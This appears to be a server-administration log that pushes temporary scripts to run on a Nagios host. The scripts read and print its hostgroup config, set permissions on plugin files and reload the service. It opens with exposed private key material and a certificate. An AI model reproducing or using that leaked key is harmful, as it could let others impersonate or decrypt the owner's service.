CelZnWoxjO0O0xaZPJw9ZKBXkecXX2xgZVWm2duVchyYFphk3efQcCP1ybBcBLLE
IhVVOVQPAgMBAAECggEAViZl2VZoe5SgKPpUh9NSWhZCjKqsJc5IJ0O5lKoIdAui
wZXet2bLPQN+ylhfbUlw6ZfJaEtbFWLCaXdJO/DPDraqVhKLLIAlxiaw2IbKtJkI
kPyaq1oOMksAb3vaea06K6RsQbiOvy7NZi0xqhsa/V1O8SETUsQ6OP811Nrd8ZwO
ctDw0rpYhZ4ef/YGW6D0lsODxY8FnHVtJutjGgjOE+030P67+Rwp9o6FQB1z8Vuq
IXr3FaMtXvje/U12d1gKhU9DW2LjADoqFuGEbw39FIGe479q42IdVZfv5uQl397A
Tcy6qh1o/SRO7TSbPHntaWWSY6UnvSStab6kIdIu+QKBgQDwz35NOs7drl4uQTFv
dCi3Hn8D7D+1O/dV2ILFfOg0btvsPAfFUAjQMBTC1Oy3Vuf8ubcvdwXAv3zFtK5C
CSwLeQbv5X1W43R6lRwoZ6V6kxLsk8VN6L0u4POtx7RbFeXy2dm/oDgJ/xUgrq7N
U0e3KcRidqWP8ZmcwffzePlg3QKBgQDbZo6ABI9IiwG76nklOhLfAe19iq4FK1bH
pW6vetJHXy5divrf5ztIHnC3NYuV3Oh0QiCLHQxp2tliy6gh3WfVvx5HG4ZL2FGm
S234fMlq2L2ga3+WQyvPGJ9/aDdWMtJJmXAxCdwd1EMP+rPzq9Q22iqyHEfeoL7Z
8ksXZ0Zj2wKBgEXCRftHYu/S+FN77T81LipF+lN/l8D/mxnSO6fMFFREHQ9lIHcn
RTZSB2GdXumJknCiuA9W8mKw1gtL2QMmNw0nxTuvhkyqXW65TUvjIovMmTnRYOG9
3zf6UHzyEiwkvtVICI07c6BptYwfLmIqkubbgZlod3OocHB5vENasxs9AoGBALaK
wp8yrAAgX8X4lOjrQ442LWFZg+YbI+2h79CisNffElWT751g5wrfAMr+CvAaR3GL
H0Z/Wbes9VdkuLPMYbsOc2OYPAlYpr5kXc/0CyURxdv19MaRhp6dDv9TN09Jo3rG
5fh3CqPq2g0uepCPc1Zb+FAOhaFuPrxZAi8rpv4nAoGBAJNnemH52tolt3xblboh
rWamEyqNMdehELMKz8ULnMiMy3HGK3QzQNzFaTvS6+FAt74FM9ybJN+a270hnwmg
4gR97Cpo8nbzin7i6SCHjaTdsUM3HlCF+4Sc0dIPRXFZnnE8DVoKSKiWxCWLrWoD
03jEx02CoXgGcj+Piro6w3PN
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-10-18 12:29:46: Establishing a connection
2025-10-18 12:29:46: Establishing a connection
2025-10-18 12:29:46:
PUT: /tmp/pkp449897
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-18 12:29:46:
chmod 755 /tmp/pkp449897; /tmp/pkp449897; rm /tmp/pkp449897
2025-10-18 12:29:46:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-10-18 12:29:46:
systemctl reload nagios
2025-10-18 12:29:46:
2025-10-18 12:29:47:
PUT: /tmp/pkp822013
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:29:47:
chmod 755 /tmp/pkp822013; /tmp/pkp822013; rm /tmp/pkp822013
2025-10-18 12:29:47:
ok
2025-10-18 12:29:47:
PUT: /tmp/pkp164672
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-10-18 12:29:47:
chmod 755 /tmp/pkp164672; /tmp/pkp164672; rm /tmp/pkp164672
2025-10-18 12:29:47:
ok
2025-10-18 12:29:47:
PUT: /tmp/pkp637635
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok
2025-10-18 12:29:47:
chmod 755 /tmp/pkp637635; /tmp/pkp637635; rm /tmp/pkp637635
2025-10-18 12:29:47:
ok
2025-10-18 12:29:47:
PUT: /tmp/pkp449496
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:29:47:
chmod 755 /tmp/pkp449496; /tmp/pkp449496; rm /tmp/pkp449496
2025-10-18 12:29:47:
ok
2025-10-18 12:29:47:
PUT: /tmp/pkp330885
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok
2025-10-18 12:29:47:
chmod 755 /tmp/pkp330885; /tmp/pkp330885; rm /tmp/pkp330885
2025-10-18 12:29:47:
ok
2025-10-18 12:29:47:
PUT: /tmp/pkp593920
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-10-18 12:29:47:
chmod 755 /tmp/pkp593920; /tmp/pkp593920; rm /tmp/pkp593920
2025-10-18 12:29:47:
ok
2025-10-18 12:29:47:
PUT: /tmp/pkp944920
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:29:47:
chmod 755 /tmp/pkp944920; /tmp/pkp944920; rm /tmp/pkp944920
2025-10-18 12:29:47:
ok
2025-10-18 12:29:47:
PUT: /tmp/pkp913647
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok
2025-10-18 12:29:47:
chmod 755 /tmp/pkp913647; /tmp/pkp913647; rm /tmp/pkp913647
2025-10-18 12:29:47:
ok
2025-10-18 12:29:47:
PUT: /tmp/pkp418840
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-10-18 12:29:47:
chmod 755 /tmp/pkp418840; /tmp/pkp418840; rm /tmp/pkp418840
2025-10-18 12:29:47:
ok
2025-10-18 12:30:31: Establishing a connection
2025-10-18 12:30:31: Establishing a connection
2025-10-18 12:30:32:
PUT: /tmp/pkp358330
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-18 12:30:32:
chmod 755 /tmp/pkp358330; /tmp/pkp358330; rm /tmp/pkp358330
2025-10-18 12:30:32:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-10-18 12:30:32:
systemctl reload nagios
2025-10-18 12:30:32:
2025-10-18 12:30:32:
PUT: /tmp/pkp547202
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:30:32:
chmod 755 /tmp/pkp547202; /tmp/pkp547202; rm /tmp/pkp547202
2025-10-18 12:30:32:
ok
2025-10-18 12:30:32:
PUT: /tmp/pkp466679
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok
2025-10-18 12:30:32:
chmod 755 /tmp/pkp466679; /tmp/pkp466679; rm /tmp/pkp466679
2025-10-18 12:30:32:
ok
2025-10-18 12:30:32:
PUT: /tmp/pkp684189
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-10-18 12:30:32:
chmod 755 /tmp/pkp684189; /tmp/pkp684189; rm /tmp/pkp684189
2025-10-18 12:30:32:
ok
2025-10-18 12:30:32:
PUT: /tmp/pkp966063
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:30:32:
chmod 755 /tmp/pkp966063; /tmp/pkp966063; rm /tmp/pkp966063
2025-10-18 12:30:32:
ok
2025-10-18 12:30:32:
PUT: /tmp/pkp538219
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-10-18 12:30:32:
chmod 755 /tmp/pkp538219; /tmp/pkp538219; rm /tmp/pkp538219
2025-10-18 12:30:32:
ok
2025-10-18 12:30:32:
PUT: /tmp/pkp528096
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-10-18 12:30:32:
chmod 755 /tmp/pkp528096; /tmp/pkp528096; rm /tmp/pkp528096
2025-10-18 12:30:32:
ok
2025-10-18 12:30:33:
PUT: /tmp/pkp425106
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:30:33:
chmod 755 /tmp/pkp425106; /tmp/pkp425106; rm /tmp/pkp425106
2025-10-18 12:30:33:
ok
2025-10-18 12:30:33:
PUT: /tmp/pkp863022
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok
2025-10-18 12:30:33:
chmod 755 /tmp/pkp863022; /tmp/pkp863022; rm /tmp/pkp863022
2025-10-18 12:30:33:
ok
2025-10-18 12:30:33:
PUT: /tmp/pkp454389
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok
2025-10-18 12:30:33:
chmod 755 /tmp/pkp454389; /tmp/pkp454389; rm /tmp/pkp454389
2025-10-18 12:30:33:
ok
2025-10-18 12:30:51: Establishing a connection
2025-10-18 12:30:52: Establishing a connection
2025-10-18 12:30:53:
PUT: /tmp/pkp604400
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-18 12:30:53:
chmod 755 /tmp/pkp604400; /tmp/pkp604400; rm /tmp/pkp604400
2025-10-18 12:30:53:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-10-18 12:30:53:
systemctl reload nagios
2025-10-18 12:30:53:
2025-10-18 12:30:54:
PUT: /tmp/pkp394696
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:30:55:
chmod 755 /tmp/pkp394696; /tmp/pkp394696; rm /tmp/pkp394696
2025-10-18 12:30:55:
ok
2025-10-18 12:30:55:
PUT: /tmp/pkp697353
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-10-18 12:30:56:
chmod 755 /tmp/pkp697353; /tmp/pkp697353; rm /tmp/pkp697353
2025-10-18 12:30:56:
ok
2025-10-18 12:30:56:
PUT: /tmp/pkp721745
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok
2025-10-18 12:30:57:
chmod 755 /tmp/pkp721745; /tmp/pkp721745; rm /tmp/pkp721745
2025-10-18 12:30:57:
ok
2025-10-18 12:30:58:
PUT: /tmp/pkp909462
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:30:58:
chmod 755 /tmp/pkp909462; /tmp/pkp909462; rm /tmp/pkp909462
2025-10-18 12:30:58:
ok
2025-10-18 12:30:59:
PUT: /tmp/pkp361334
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok
2025-10-18 12:30:59:
chmod 755 /tmp/pkp361334; /tmp/pkp361334; rm /tmp/pkp361334
2025-10-18 12:31:00:
ok
2025-10-18 12:31:00:
PUT: /tmp/pkp595864
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-10-18 12:31:01:
chmod 755 /tmp/pkp595864; /tmp/pkp595864; rm /tmp/pkp595864
2025-10-18 12:31:01:
ok
2025-10-18 12:31:02:
PUT: /tmp/pkp470956
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-10-18 12:31:02:
chmod 755 /tmp/pkp470956; /tmp/pkp470956; rm /tmp/pkp470956
2025-10-18 12:31:02:
ok
2025-10-18 12:31:03:
PUT: /tmp/pkp559050
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:31:03:
chmod 755 /tmp/pkp559050; /tmp/pkp559050; rm /tmp/pkp559050
2025-10-18 12:31:04:
ok
2025-10-18 12:31:04:
PUT: /tmp/pkp277846
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_autoupdate.php'
echo ok
2025-10-18 12:31:05:
chmod 755 /tmp/pkp277846; /tmp/pkp277846; rm /tmp/pkp277846
2025-10-18 12:31:05:
ok
2025-10-18 12:32:03: Establishing a connection
2025-10-18 12:32:03: Establishing a connection
2025-10-18 12:32:03:
PUT: /tmp/pkp114877
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-18 12:32:03:
chmod 755 /tmp/pkp114877; /tmp/pkp114877; rm /tmp/pkp114877
2025-10-18 12:32:03:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-10-18 12:32:03:
systemctl reload nagios
2025-10-18 12:32:03:
2025-10-18 12:32:03:
PUT: /tmp/pkp434543
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:32:03:
chmod 755 /tmp/pkp434543; /tmp/pkp434543; rm /tmp/pkp434543
2025-10-18 12:32:04:
ok
2025-10-18 12:32:04:
PUT: /tmp/pkp694389
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-10-18 12:32:04:
chmod 755 /tmp/pkp694389; /tmp/pkp694389; rm /tmp/pkp694389
2025-10-18 12:32:04:
ok
2025-10-18 12:32:04:
PUT: /tmp/pkp157649
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-10-18 12:32:04:
chmod 755 /tmp/pkp157649; /tmp/pkp157649; rm /tmp/pkp157649
2025-10-18 12:32:04:
ok
2025-10-18 12:32:04:
PUT: /tmp/pkp749160
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:32:04:
chmod 755 /tmp/pkp749160; /tmp/pkp749160; rm /tmp/pkp749160
2025-10-18 12:32:04:
ok
2025-10-18 12:32:04:
PUT: /tmp/pkp291060
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok
2025-10-18 12:32:04:
chmod 755 /tmp/pkp291060; /tmp/pkp291060; rm /tmp/pkp291060
2025-10-18 12:32:04:
ok
2025-10-18 12:32:04:
PUT: /tmp/pkp247736
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-10-18 12:32:04:
chmod 755 /tmp/pkp247736; /tmp/pkp247736; rm /tmp/pkp247736
2025-10-18 12:32:04:
ok
2025-10-18 12:32:04:
PUT: /tmp/pkp376609
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok
2025-10-18 12:32:04:
chmod 755 /tmp/pkp376609; /tmp/pkp376609; rm /tmp/pkp376609
2025-10-18 12:32:04:
ok
2025-10-18 12:32:15: Establishing a connection
2025-10-18 12:32:16: Establishing a connection
2025-10-18 12:32:16:
PUT: /tmp/pkp139967
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-18 12:32:16:
chmod 755 /tmp/pkp139967; /tmp/pkp139967; rm /tmp/pkp139967
2025-10-18 12:32:16:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-10-18 12:32:16:
systemctl reload nagios
2025-10-18 12:32:16:
2025-10-18 12:32:18:
PUT: /tmp/pkp879251
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok
2025-10-18 12:32:18:
chmod 755 /tmp/pkp879251; /tmp/pkp879251; rm /tmp/pkp879251
2025-10-18 12:32:18:
ok
2025-10-18 12:32:19:
PUT: /tmp/pkp371621
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_debian_packages'
echo ok
2025-10-18 12:32:19:
chmod 755 /tmp/pkp371621; /tmp/pkp371621; rm /tmp/pkp371621
2025-10-18 12:32:19:
ok
2025-10-18 12:32:20:
PUT: /tmp/pkp349711
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:32:20:
chmod 755 /tmp/pkp349711; /tmp/pkp349711; rm /tmp/pkp349711
2025-10-18 12:32:20:
ok
2025-10-18 12:32:21:
PUT: /tmp/pkp523962
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-10-18 12:32:21:
chmod 755 /tmp/pkp523962; /tmp/pkp523962; rm /tmp/pkp523962
2025-10-18 12:32:21:
ok
2025-10-18 12:32:22:
PUT: /tmp/pkp672163
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_file_exists'
echo ok
2025-10-18 12:32:22:
chmod 755 /tmp/pkp672163; /tmp/pkp672163; rm /tmp/pkp672163
2025-10-18 12:32:23:
ok
2025-10-18 12:32:34: Establishing a connection
2025-10-18 12:32:35: Establishing a connection
2025-10-18 12:32:35:
PUT: /tmp/pkp171014
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-18 12:32:35:
chmod 755 /tmp/pkp171014; /tmp/pkp171014; rm /tmp/pkp171014
2025-10-18 12:32:35:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/usr/local/nagios/etc/objects/hostgroup.cfg 629
# CUSTOMIZED
###############################################################################
#
# HOST GROUP DEFINITION
#
###############################################################################
# Define an optional hostgroup for Linux machines
define hostgroup {
hostgroup_name linux-servers ; The name of the hostgroup
alias Linux Servers ; Long name of the group
; Comma separated list of hosts that belong to this group
members localhost, server_51, server_53, server_44, server_59, server_49, server_50, server_42, server_41, server_1, server_45
}
2025-10-18 12:32:35:
systemctl reload nagios
2025-10-18 12:32:35:
2025-10-18 12:32:36:
PUT: /tmp/pkp729352
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:32:37:
chmod 755 /tmp/pkp729352; /tmp/pkp729352; rm /tmp/pkp729352
2025-10-18 12:32:37:
ok
2025-10-18 12:32:38:
PUT: /tmp/pkp443146
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_ssl_cert.php'
echo ok
2025-10-18 12:32:38:
chmod 755 /tmp/pkp443146; /tmp/pkp443146; rm /tmp/pkp443146
2025-10-18 12:32:38:
ok
2025-10-18 12:32:39:
PUT: /tmp/pkp212018
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_service'
echo ok
2025-10-18 12:32:39:
chmod 755 /tmp/pkp212018; /tmp/pkp212018; rm /tmp/pkp212018
2025-10-18 12:32:39:
ok
2025-10-18 12:32:40:
PUT: /tmp/pkp274158
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/class_nagios.php'
echo ok
2025-10-18 12:32:40:
chmod 755 /tmp/pkp274158; /tmp/pkp274158; rm /tmp/pkp274158
2025-10-18 12:32:40:
ok
2025-10-18 12:32:41:
PUT: /tmp/pkp150267
#!/bin/bash
chmod 755 '/usr/local/nagios/libexec/check_php.php'
echo ok
2025-10-18 12:32:41:
chmod 755 /tmp/pkp150267; /tmp/pkp150267; rm /tmp/pkp150267
2025-10-18 12:32:41:
ok
2025-10-18 12:34:42: Establishing a connection
2025-10-18 12:34:43: Establishing a connection
2025-10-18 12:34:43:
PUT: /tmp/pkp823232
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/usr/local/nagios/etc/objects/hostgroup.cfg')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-18 12:34:43:
